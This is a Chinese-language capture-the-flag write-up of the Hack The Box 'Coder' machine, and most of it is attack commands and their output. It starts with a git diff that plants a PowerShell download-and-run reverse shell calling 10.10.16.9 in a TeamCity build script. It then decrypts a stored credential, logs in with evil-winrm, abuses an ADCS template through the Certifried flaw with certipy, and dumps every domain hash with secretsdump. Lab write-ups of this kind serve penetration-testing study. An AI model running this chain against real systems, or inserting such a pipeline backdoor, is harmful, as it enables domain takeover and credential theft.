1 2 3 4 5 6 7 8 9 10 └─$ git diff diff --git a/hello_world.ps1 b/hello_world.ps1 index 09724d2..16f77a7 100644 --- a/hello_world.ps1 +++ b/hello_world.ps1 @@ -1,2 +1,4 @@ #Simple repo test for Teamcity pipeline write-host "Hello, World!" + +IEX(iwr http://10.10.16.9/Invoke-aa.ps1 -UseBasicParsing);Invoke-aa -Rv -IA 10.10.16.9 -PP 10086
拿到 svc_teamcity shell
1 2 3 4 5 6 7 8 9 10 11 Photoshop C:\TeamCity\buildAgent\conf*cat buildAgent.properties serverUrl=http\://localhost\:8111 systemDir=C\:\\TeamCity\\buildAgent\\system env.TEAMCITY_JRE=C\:\\TeamCity\\jre name=dc01 tempDir=C\:\\TeamCity\\buildAgent\\temp workDir=C\:\\TeamCity\\buildAgent\\work ownPort=9090 authorizationToken=63a48d52c4fac2ab6a14a633d4f17a46
to Root to e.black 这里在 svc_teamcity 枚举半天没翻到有价值的信息,去看0xdf的wp
得知在 C:\ProgramData\JetBrains\system
路径下有个 changes 其中包含了迭代的diff
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 Photoshop C:\ProgramData\JetBrains\TeamCity\system\changes*cat 101.changes.diff diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1 index d6515ce..a990b2e 100644 --- a/Get-ADCS_Report.ps1 +++ b/Get-ADCS_Report.ps1 @@ -77,11 +77,15 @@ Function script:send_mail { [string] $subject ) + +$key = Get-Content ".\key.key" +$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key) +$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass) $emailFrom = 'pkiadmins@coder.htb' $emailCC = 'e.black@coder.htb' $emailTo = 'itsupport@coder.htb' $smtpServer = 'smtp.coder.htb' -Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High +Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred } diff --git a/enc.txt b/enc.txt new file mode 100644 index 0000000..d352634 --- /dev/null +++ b/enc.txt @@ -0,0 +1,2 @@ +76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN +AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA== diff --git a/key.key b/key.key new file mode 100644 index 0000000..a6285ed --- /dev/null +++ b/key.key @@ -0,0 +1,32 @@ +144 +255 +52 +33 +65 +190 +44 +106 +131 +60 +175 +129 +127 +179 +69 +28 +241 +70 +183 +53 +153 +196 +10 +126 +108 +164 +172 +142 +119 +112 +20 +122
没想通他们怎么会能找到这路径,然后能发现这下面的文件有用,目前唯一能解释得就是我枚举的还是不够,给我菜完了。
这个文件是以 e.black@coder.htb
账户身份发邮件。
e.black
凭据enc由key加密,所以在本地导入一下这俩解密即可得到 e.black
凭据。
1 2 3 4 Photoshop C:\TeamCity\buildAgent\work\74 c2f03019966b3e*$key = cat ./key.txt Photoshop C:\TeamCity\buildAgent\work\74 c2f03019966b3e*$pass = (cat ./enc.txt | ConvertTo-SecureString -Key $key ) Photoshop C:\TeamCity\buildAgent\work\74 c2f03019966b3e*[System.Net.NetworkCredential ]::new("" , $pass ).Password ypOSJXPqlDOxxbQSfEERy300
这个账户在远程管理组里,所以得到密码winrm即可
1 evil-winrm -i 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300
to DC 先枚举 e.black
账户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 (LDAPS)-[dc01.coder.htb]-[CODER\s.blade] PV > Get-DomainUser e.black cn : Erron Black distinguishedName : CN=Erron Black,CN=Users,DC=coder,DC=htb memberOf : CN=PKI Admins,CN=Users,DC=coder,DC=htb CN=Remote Management Users,CN=Builtin,DC=coder,DC=htb name : Erron Black objectGUID : {c8f89a02-01bf-4b74-bbf8-9bcc688ce678} userAccountControl : NORMAL_ACCOUNT [66048] DONT_EXPIRE_PASSWORD badPwdCount : 0 badPasswordTime : 01/01/1601 00:00:00 (424 years, 6 months ago) lastLogoff : 1601-01-01 00:00:00+00:00 lastLogon : 08/11/2022 22:05:01 (2 years, 8 months ago) pwdLastSet : 07/11/2022 19:40:31 (2 years, 8 months ago) primaryGroupID : 513 objectSid : S-1-5-21-2608251805-3526430372-1546376444-1106 sAMAccountName : e.black sAMAccountType : SAM_USER_OBJECT userPrincipalName : e.black@coder.htb objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=coder,DC=htb
这个账户属于 PKI Admins
组,从下文可得知,PKI Admins
通常有权限管理证书.
https://www.linkedin.com/pulse/attack-vectors-against-active-directory-certificate-services-patel-bpcyf
但是这里我尝试certipy对证书模板直接进行修改,权限是不足的。
我没找到比较好的远程创建证书的方式,但是我也不想造轮子。
所以在服务器上用 ADCSTemplate
直接创建了一张包含esc1证书的模板注册给了 e.black
这里奇怪的是虽然e.black在 pkI ADMIN
组内,但我下发了一张没有启用的证书模板时,我尝试用 certipy
进行启用,却提示权限不足,尝试列出证书模板也是同样。
1 2 3 4 └─$ certipy ca -u e.black@coder.htb -p ypOSJXPqlDOxxbQSfEERy300 -dc-ip 10.10.11.207 -ca coder-DC01-CA -enable-template test Certipy v5.0.2 - by Oliver Lyak (ly4k) [-] Access denied: Insufficient permissions to get templates
同理在系统内直接 add
也是如此,仿佛就只给了创建证书权限似的,很怪。
后来看了下脚本是直接用 Set-ADObject
启用的,嗦嘚速内。
1 2 3 4 5 6 7 8 If ($Publish) { ### WARNING: Issues on all available CAs. Test in your environment. $EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC" $CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter * -Server $Server ForEach ($CA in $CAs) { Set-ADObject -Identity $CA.DistinguishedName -Add @{certificateTemplates=$DisplayName.Replace(' ','')} -Server $Server } }
所以只好在创建阶段直接启用。
打完之后翻看别人wp好像是个非预期,预期是 cve-2022-29623 要用到一开始的 s.blade
给 buildagent
ou添加账户的权限,所以这里着重记录 cve-2022-29623
.
cve-2022-29623
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
这个漏洞通俗来说是通过优先校验dns名来匹配证书下发,导致的可以滥用dns获取域内任意目标证书,和后来的几个esc10和esc14一定程度上有点点相似,不过这个是逻辑处理上有问题。
在文章中有指出,这个漏洞已经修复了但是嵌入 CT_FLAG_NO_SECURITY_EXTENSION
标识的模板仍然可以利用,最基础的是需要对dNSHostName属性有写入权限。
微软在2022 年 5 月的安全更新中修补了此漏洞,通过在新证书中引入新的对象 ID (OID) 来进一步识别用户。这是通过将用户的objectSid(SID) 嵌入新的szOID_NTDS_CA_SECURITY_EXT( 1.3.6.1.4.1.311.25.2) OID 中来实现的。在属性中设置了新CT_FLAG_NO_SECURITY_EXTENSION( 0x80000) 标志的证书模板msPKI-Enrollment-Flag将不会嵌入新的szOID_NTDS_CA_SECURITY_EXTOID,因此这些模板仍然容易受到此攻击。虽然不太可能设置此标志,但您应该注意打开此标志的含义。此外,“已验证的对 DNS 主机名的写入”权限现在只允许设置与dNSHostName帐户的 SAM 帐户名匹配的属性。但是,如果拥有对计算机帐户的通用写入权限,仍然可以创建重复的dNSHostName值。
回到最开始s.blade的权限部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 PV > Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-2608251805-3526430372-1546376444-8601 -ResolveGUIDs ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb ObjectSID : None ACEType : ACCESS_ALLOWED_OBJECT_ACE ACEFlags : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE AccessMask : ReadProperty, WriteProperty, Self ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT ObjectAceType : DNS Host Name Attributes (72 e39547-7b18-11d1-adef-00c04fd8d5cd ) InheritanceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2 ) SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601 ) ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb ObjectSID : None ACEType : ACCESS_ALLOWED_OBJECT_ACE ACEFlags : CONTAINER_INHERIT_ACE AccessMask : CreateChild, DeleteChild ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT ObjectAceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2 ) InheritanceType : None SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601 )
这里 s.blade
能够对 BuildAgents
OU 内创建账户,以及对其有 DNS Host Name
的修改权限
这个漏洞在文章中有重点解释的一点是,在当我们创建了主机账户 创建者对被创建主机持有 Validated write to service principal name
这一权限,这导致创建者在修改主机账户的dnshostname进行其他账户的伪造时,系统会依据账户的 dnshostname
更新这个账户 spn
中host的部分,并会检测spn中这个host的唯一性。
这是理所当然的,因为在同一个林中spn必须是唯一的,所以就会和同名的目标对象进行spn上的冲突,针对这一点具体的解释可以看下文。
https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/kerberos-error-kdc-err-s-principal-unknown-or-not-unique
为了规避,由修改dnshostname导致spn与目标spn撞了从而导致的dnshostname修改失败, 作者 Oliver Lyak
采取的方式是,把把spn里会伴随着dnshostname的spn先扬了,再进行dnshostname的修改 是个人物XD .
既然知道了原理,就先创建这个证书,这里我用的和在esc1部分一样,用的machine的模板。
修改证书
1 2 3 4 5 6 7 8 9 10 11 12 import-module ./ADCSTemplate.psm1 Export-ADCSTemplate -DisplayName computer > com.json $tmp = cat com.json -raw | ConvertFrom-Json$tmp ."msPKI-Enrollment-Flag" = 524288$tmp |Convertto-json > computer.jsonNew-ADCSTemplate -DisplayName test -JSON (cat ./computer.json -raw) -Publish
这里需要先创建用户再应用模板
certipy中已经具备了创建账户时,指定dns以及剔除冲突的spn,不需要手动再去删了。
1 2 3 4 5 6 7 8 9 10 11 └─$ certipy account create -u 's.blade@coder.htb' -p 'AmcwNO60Zg3vca3o0HDrTC6D' -user "test" -dns dc01.coder.htb -dc-ip 10.10.11.207 -group "OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB" Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Creating new account: sAMAccountName : test $ unicodePwd : 4kNGC5ZWCSldSuYw userAccountControl : 4096 servicePrincipalName : HOST/test RestrictedKrbHost/test dnsHostName : dc01.coder.htb [*] Successfully created account 'test$' with password '4kNGC5ZWCSldSuYw'
然后添加 test$
请求证书的权限
1 Set-ADCSTemplateACL -DisplayName test -Type Allow -Identity 'coder\test$' -Enroll
查看证书
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 34 Template Name : test Display Name : test Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : NoSecurityExtension Extended Key Usage : Server Authentication Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-07-8T16:55:44+00:00 Template Last Modified : 2025-07-8T16:55:49+00:00 Permissions Enrollment Permissions Enrollment Rights : CODER.HTB\test Object Control Permissions Owner : CODER.HTB\Erron Black Full Control Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins Write Owner Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins Write Dacl Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins
确认模板没问题就请求证书。
1 2 3 4 5 6 7 8 9 10 11 12 └─$ certipy req -u 'test$@coder.htb' -p 4kNGC5ZWCSldSuYw -dc-ip 10.10.11.207 -template testa -ca coder-DC01-CA Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 20 [*] Successfully requested certificate [*] Got certificate with DNS Host Name 'dc01.coder.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'dc01.pfx' File 'dc01.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): dc01 [*] Wrote certificate and private key to 'dc01_5c498701-911f-4ce9-ac88-239fd1297a82.pfx'
获取 dc
hash
1 2 3 4 5 6 7 8 9 10 11 12 └─$ certipy auth -pfx dc01_5c498701-911f-4ce9-ac88-239fd1297a82.pfx -dc-ip 10.10.11.207 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN DNS Host Name: 'dc01.coder.htb' [*] Using principal: 'dc01$@coder.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'dc01.ccache' [*] Wrote credential cache to 'dc01.ccache' [*] Trying to retrieve NT hash for 'dc01$' [*] Got hash for 'dc01$@coder.htb' : aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94
shadow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 └─$ impacket-secretsdump -dc-ip 10.10.11.207 coder.htb/'dc01$' @10.10.11.207 -hashes :56dc040d21ac40b33206ce0c2f164f94 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c::: coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d::: coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993::: coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33::: coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd::: coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a::: coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:86a6a038ff6058c56a74e2e35008f6b037b8e7bca8c75cc5ee4495f77d0be71e Administrator:aes128-cts-hmac-sha1-96:6d63b0853502cbbc8c8e40ad8fe88fa3 Administrator:des-cbc-md5:37feabd9d9575785 krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3 krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981 krbtgt:des-cbc-md5:100489b5839798cb coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85 coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f coder.htb\e.black:des-cbc-md5:89290da2c2cd16ec coder.htb\c.cage:aes256-cts-hmac-sha1-96:ea9cc2144c3106e9325b1ddda16c27c644d9f9b7e95098581ceba19c75d9b296 coder.htb\c.cage:aes128-cts-hmac-sha1-96:2cff13848c9e8d07339a6ab41bf72088 coder.htb\c.cage:des-cbc-md5:fd6d578510df1af1 coder.htb\j.briggs:aes256-cts-hmac-sha1-96:ec3ac8b99094903a3ca006a725dc0867666347efb4baf04d8b2f8b0305ab65ee coder.htb\j.briggs:aes128-cts-hmac-sha1-96:39050d78545c40645fa889c13200f8f7 coder.htb\j.briggs:des-cbc-md5:7f5286d35def8f15 coder.htb\l.kang:aes256-cts-hmac-sha1-96:d7eb03d2695638c4ba423cd88e22dcdd7c0f6da996e5d6ed3af6c6d7e6c56661 coder.htb\l.kang:aes128-cts-hmac-sha1-96:25ad8331aa0fa2b26e220040b9e55937 coder.htb\l.kang:des-cbc-md5:571a573e61ced640 coder.htb\s.blade:aes256-cts-hmac-sha1-96:ceeab374597121113f3bdee3aab1fed0522506909b2f1ec24dfe36045eb3c252 coder.htb\s.blade:aes128-cts-hmac-sha1-96:69f4cada02748fba948e4c15460add9e coder.htb\s.blade:des-cbc-md5:26eca8ad9deaada2 coder.htb\svc_teamcity:aes256-cts-hmac-sha1-96:b6c7ed72b4434a89c56295df6b42ca68937702dda15f90f23423e8712abce030 coder.htb\svc_teamcity:aes128-cts-hmac-sha1-96:d6604e2fadb40bbf71708e7b9c9734a7 coder.htb\svc_teamcity:des-cbc-md5:264ab5645ed91c86 DC01$:aes256-cts-hmac-sha1-96:a43b686fdd5f2e576ad834c5b1d4327dd5bdbd3ec579677343a2c6c43c8f1740 DC01$:aes128-cts-hmac-sha1-96:22192237a3cb399c19a6b469dcd1cba8 DC01$:des-cbc-md5:cb9758c162ba4943 [*] Cleaning up...
难点是totp和C盘下呢个programData里藏东西,整体来说不算难。